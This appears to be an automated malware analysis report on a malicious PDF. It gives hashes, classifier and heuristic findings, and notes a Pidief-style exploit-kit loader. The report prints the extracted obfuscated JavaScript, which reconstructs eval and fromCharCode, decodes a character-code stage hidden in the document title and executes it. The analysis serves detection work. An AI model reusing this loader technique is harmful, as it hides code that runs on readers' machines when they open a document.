Malicious PDF — malware analysis report

Static analysis result for SHA-256 d9a77962e08fab80…

MALICIOUS

PDF

44.9 KB First seen: 2012-10-03
MD5: 9ed5c0fe4e12c3956f81320ddf372d20 SHA-1: f9bc536ae1a913679f57241a385cd5da3e206ede SHA-256: d9a77962e08fab80c775b56846a4369c687e5ae5ec2371a904cad0ad718354a2
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code or download a secondary payload, although the specific actions are not detailed in the provided evidence. No document body text was available for further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0CE 490 bytes
SHA-256: f8421ebde1252f9140dee0654fdfd3cf42e83d7629d17680d066a2402106654e
Preview script
First 1,000 lines of the extracted script
vbk='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
imla=e('ti'+'tle');
s=imla.substr(t.length + 8,3)+'str';
q=imla[s](1,(1,t.length + 7));
erwnw=e(v[0].toUpperCase()+'tring.fro'+q);
q=imla[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	brxiq = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	vbk += erwnw(brxiq);
}
e(vbk);

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